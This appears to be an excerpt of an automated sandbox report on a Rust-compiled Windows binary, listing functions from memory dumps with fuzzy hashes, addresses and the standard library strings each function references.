Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48d0c3accc6ac4c58f77e314b3ae2c2632e14838a64a6af3b66b43d06663d990
Instruction ID: 82f8b7c6cad4a21106ad2f38f12e104393bdd1cffd391b8c3680ef0f18da91d3
Opcode Fuzzy Hash: 48d0c3accc6ac4c58f77e314b3ae2c2632e14838a64a6af3b66b43d06663d990
Instruction Fuzzy Hash: 80F1D762B08EC585EB309F2598493F9A361F759BE8F854631DE1D0B796DF38D68AC300

Function 00007FF717799750 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

e0E0assertion failed: buf.len() >= ndigits || buf.len() >= maxlen, xrefs: 00007FF717799A52
-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF71779980A, 00007FF717799C8E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0$e0E0assertion failed: buf.len() >= ndigits || buf.len() >= maxlen
API String ID: 0-3864725730
Opcode ID: 547a5d9ec5138697606fc12009170360ae8bddcb2323316c68655c41b2df0fc9
Instruction ID: 59c9ac5aa4eb4bfbdaa379a94455b3328d494abc1c53758f9da6c82f7b360db9
Opcode Fuzzy Hash: 547a5d9ec5138697606fc12009170360ae8bddcb2323316c68655c41b2df0fc9
Instruction Fuzzy Hash: 2CF1E022A09B8289F7619F30D8403E963A4FB48368F945136DE4D5BB9ADF7C975EC310

Function 00007FF7177A9BC0 Relevance: 2.8, Strings: 2, Instructions: 288COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF7177A9CE3, 00007FF7177A9F64, 00007FF7177A9F97, 00007FF7177A9FB3
-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF7177A9DBB

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0$00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-1873708790
Opcode ID: b47bf52a956a6c958f1587c6764a72f770f8ed38a988b0e8f0d788a256c7815f
Instruction ID: b17d30d26baf938664c176c19e65db3bd3583f00f4b9b569cfc40b2d39644517
Opcode Fuzzy Hash: b47bf52a956a6c958f1587c6764a72f770f8ed38a988b0e8f0d788a256c7815f
Instruction Fuzzy Hash: C8A1A967B28A554AFF04DB29D8043B86792FB48BE4F889531DE0E47785DA3CA91FC300

Function 00007FF71774DD00 Relevance: 2.8, Strings: 2, Instructions: 273COMMON

Download Yara Rule

Strings

overflow when subtracting duration from instant, xrefs: 00007FF71774DFF3, 00007FF71774E0A0
overflow when adding duration to instantlibrary\std\src\time.rs, xrefs: 00007FF71774DE9F, 00007FF71774DF51

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: overflow when adding duration to instantlibrary\std\src\time.rs$overflow when subtracting duration from instant
API String ID: 0-3373325108
Opcode ID: 0565f850d5a905c63ce04a5ade45597cded546ea6001bd2c79164f9e7debcf4c
Instruction ID: 48293a6a092d1aef5b19d0d936e780eca053f5b2e77282c2d3df7ec0ed6eb22b
Opcode Fuzzy Hash: 0565f850d5a905c63ce04a5ade45597cded546ea6001bd2c79164f9e7debcf4c
Instruction Fuzzy Hash: C2B12731F24F5649EF04E778E8453B8A365AB98364F90D231CE1E06B95EF3CA1DE8250

Function 00007FF717711665 Relevance: 2.8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

Strings

3333, xrefs: 00007FF717711904
UUUU, xrefs: 00007FF71771169F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 3333$UUUU
API String ID: 0-2679824526
Opcode ID: 0b221bbdeef47010658f7fc4f1bdbca6138b9f93817a83bd168641643622ae09
Instruction ID: 449238862527a95d36e3f08a986bb71176cf841e596b80fae16425c3477fba22
Opcode Fuzzy Hash: 0b221bbdeef47010658f7fc4f1bdbca6138b9f93817a83bd168641643622ae09
Instruction Fuzzy Hash: E1B1D472A1CA8582E7259F14F0503FAB7A1FB88764F804235EE8A0A795DF3CE55EC700

Function 00007FF71774FF10 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 00007FF7177500ED
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774FF15

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 0-2027556079
Opcode ID: f125fa777c9b713af963a93f8e5d16da6fa5998d30dfe893d3f77d8afa9f9e5c
Instruction ID: 742855d9c45d83a318716569c39456a6444890710083eaf296b275ab141e88f8
Opcode Fuzzy Hash: f125fa777c9b713af963a93f8e5d16da6fa5998d30dfe893d3f77d8afa9f9e5c
Instruction Fuzzy Hash: 0B616853E089E159F306AF3444212BDAEB1A71A368F884535DEAB376D6DA3C910FD320

Function 00007FF717733DD0 Relevance: 2.4, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF717733E69

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c3c0e7016b895e9d6adfb3c0e18206138b798e528958181e285871756d13dd56
Instruction ID: 26b1eb576a432ff13232e16dbc66fd6c202420b1aafd2c7aa085074b20fdb584
Opcode Fuzzy Hash: c3c0e7016b895e9d6adfb3c0e18206138b798e528958181e285871756d13dd56
Instruction Fuzzy Hash: 7FB28C32A08BC185EB759F25D8443F9A7A0FB087A8F944135DE5D4BB86DF39D68AC310

Function 00007FF71770FF83 Relevance: 2.2, Strings: 1, Instructions: 994COMMON

Download Yara Rule

Strings

assertion failed: lookahead_size >= len_to_move, xrefs: 00007FF71771107F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: assertion failed: lookahead_size >= len_to_move
API String ID: 0-1193057213
Opcode ID: f0c0ae32f07f374757cf32290c73185b533844ff279fabdaf0c837a95eb7c6d5
Instruction ID: 52f13791b614396ae0ba3006f198abad7975716fcf07d28867c8652ea37c79e7
Opcode Fuzzy Hash: f0c0ae32f07f374757cf32290c73185b533844ff279fabdaf0c837a95eb7c6d5
Instruction Fuzzy Hash: 2DA2E122B08B8186E725EB25E5403A9B7A0FB497A0F804135EF9D47796DF7CE4ADC710

Function 00007FF7177727A4 Relevance: 1.8, Strings: 1, Instructions: 588COMMON

Download Yara Rule

Strings

internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs, xrefs: 00007FF7177727A4

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs
API String ID: 0-3329622625
Opcode ID: 84ee2319e58ebec65494bf27db102c839e7f31605b15af6dda2a5ef78741a335
Instruction ID: c6119342b539ad1cba57e3d33aa835a387728a8e8000ead8a0561b68680582cc
Opcode Fuzzy Hash: 84ee2319e58ebec65494bf27db102c839e7f31605b15af6dda2a5ef78741a335
Instruction Fuzzy Hash: FA222762F18E9241EB119B6584086BDAB71BF09BB4FC44332DE2D27AC6DF38945EC310

Function 00007FF7177734B6 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs, xrefs: 00007FF7177734B6

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs
API String ID: 0-3329622625
Opcode ID: 1fa760ea6060da2a839ba96ccfb6cdd64bb8e8eee01c00345c5055e6ba91de01
Instruction ID: 78ffdace2d4cfd73c1e380a4abd590b5f3b1ebbbbfbea8330fead0da0e88dcd7
Opcode Fuzzy Hash: 1fa760ea6060da2a839ba96ccfb6cdd64bb8e8eee01c00345c5055e6ba91de01
Instruction Fuzzy Hash: CF225562B08AE185E7119F2584097BCBBA1B7097A8FD54132DE5E0B3D2CB79E55FC320

Function 00007FF71770565B Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

0b0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF7177A83FB, 00007FF7177A867C

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 0b0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-528522809
Opcode ID: fc41eb1ede8def6e6519501b13a1721de8b2c3ff54d1bada0408f23752f5a195
Instruction ID: 8b240f26c0f36dea078e7a842043827b127ade4fd2a23e92079d110ae673cc63
Opcode Fuzzy Hash: fc41eb1ede8def6e6519501b13a1721de8b2c3ff54d1bada0408f23752f5a195
Instruction Fuzzy Hash: E8F11336A18A9185F729EB24E0147F9B764FB59768FC49035DE8E03BD2CE2C925EC350

Function 00007FF7177A06A0 Relevance: 1.7, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF7177A0C27

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 0-1476291318
Opcode ID: e1e5ff907134da56819225bc1be592931c2071bede3ac4d67b681bc03e04ef66
Instruction ID: fa33ca7f46cc00ee50f00d8418d10fbd4f64cce1d61cf9c5c125d5d9f7940755
Opcode Fuzzy Hash: e1e5ff907134da56819225bc1be592931c2071bede3ac4d67b681bc03e04ef66
Instruction Fuzzy Hash: DCF1B536A09A458AF7A56B24C5143B8A761FB9DB24F985435CE0E037C3DE3C999FC620

Function 00007FF71779F730 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

00000000, xrefs: 00007FF71779F780

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 00000000
API String ID: 0-3221785859
Opcode ID: af8589ce7ce3c7fcc32d6d021bc8cd4f75293f8d31cfa919c749519a754305ce
Instruction ID: 86bcd62fd923a6738f8d50ee02ef66ef849dff9965de13e4076377dbed1a83ac
Opcode Fuzzy Hash: af8589ce7ce3c7fcc32d6d021bc8cd4f75293f8d31cfa919c749519a754305ce
Instruction Fuzzy Hash: 28D15C62F0AF5289EB25DE3594003B9A662BB597B4F848232DD0D47BD6DF38D54F8310

Function 00007FF71770F7E0 Relevance: 1.6, Strings: 1, Instructions: 337COMMON

Download Yara Rule

Strings

assertion failed: d.params.flush_remaining == 0, xrefs: 00007FF71770FD0E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: assertion failed: d.params.flush_remaining == 0
API String ID: 0-1590815299
Opcode ID: 6aa5ea2f5144a537badae5e90b20bf8ea77bb22c3cff40e50c57a03e32aec0f3
Instruction ID: 4fb7828422314c74ef6547196601d4576b776ea522b11444bcca2ca87da0bf94
Opcode Fuzzy Hash: 6aa5ea2f5144a537badae5e90b20bf8ea77bb22c3cff40e50c57a03e32aec0f3
Instruction Fuzzy Hash: 15E1D522A18A8582E764EB25E8403FEA751FB4E790F804035DF9E47782DE7CE08EC710

Function 00007FF71779DBE0 Relevance: 1.6, Strings: 1, Instructions: 337COMMON

Download Yara Rule

Strings

falsetrue, xrefs: 00007FF71779DBE8

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: falsetrue
API String ID: 0-2583396087
Opcode ID: 333b635a2e3723669b4bd6ffd21f5e89aa966b3e4f75eb61e99eb9a69a60b3c7
Instruction ID: 2a2e6049da3cf6582463225633d1c8b59de24fb73286d69cc4dfe38fddd941b4
Opcode Fuzzy Hash: 333b635a2e3723669b4bd6ffd21f5e89aa966b3e4f75eb61e99eb9a69a60b3c7
Instruction Fuzzy Hash: 87B1AD92E2EFA201F623533954016B4A9005F777B4E81D736FD7D31BD2EB29E68B9210

Function 00007FF7177315E0 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

K, xrefs: 00007FF717731630

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 5a83610895b6275a0df5c1d904be7e79572423fd04513c0201201710ee0097df
Instruction ID: 6b1041d78ca87edbfecd0ed15fcc90bb6c58a82442aad82641ff06ee2dd35a70
Opcode Fuzzy Hash: 5a83610895b6275a0df5c1d904be7e79572423fd04513c0201201710ee0097df
Instruction Fuzzy Hash: 43E13472604FD089E7608F65A8403ED77B1F709B98F848126EE9D8BB4ADF38D599C350

Function 00007FF7177A7530 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF7177A7705, 00007FF7177A78F5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-1744301434
Opcode ID: 7e6d48b9921f409afda6eccafe663c4c55996029baa0535359b0d5b94feba515
Instruction ID: 4b0368986884641e5ece49e2c90b788697241bab5d38acb953c90368a2a1380c
Opcode Fuzzy Hash: 7e6d48b9921f409afda6eccafe663c4c55996029baa0535359b0d5b94feba515
Instruction Fuzzy Hash: D0B19563B156568BFB519A60C0017F9A650EB08BF4FC4C231DE5A177C2CE3CA64EC3A1

Function 00007FF71778D6A8 Relevance: 1.5, APIs: 1, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfd8f9aac5d005f5effe7e10f991f333e50d91792c8385def3c3db197be9e8d
Instruction ID: 75cc4bfaa4febedd1e702e1c136b04c79a917eb8265221dfe799d7eadfff80c0
Opcode Fuzzy Hash: 8cfd8f9aac5d005f5effe7e10f991f333e50d91792c8385def3c3db197be9e8d
Instruction Fuzzy Hash: 02910262F18A5289FB14A665C5023FD66A0FB0C7A8F844539DE5E077CADE7C91CED320

Function 00007FF717731B00 Relevance: 1.5, Instructions: 1492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
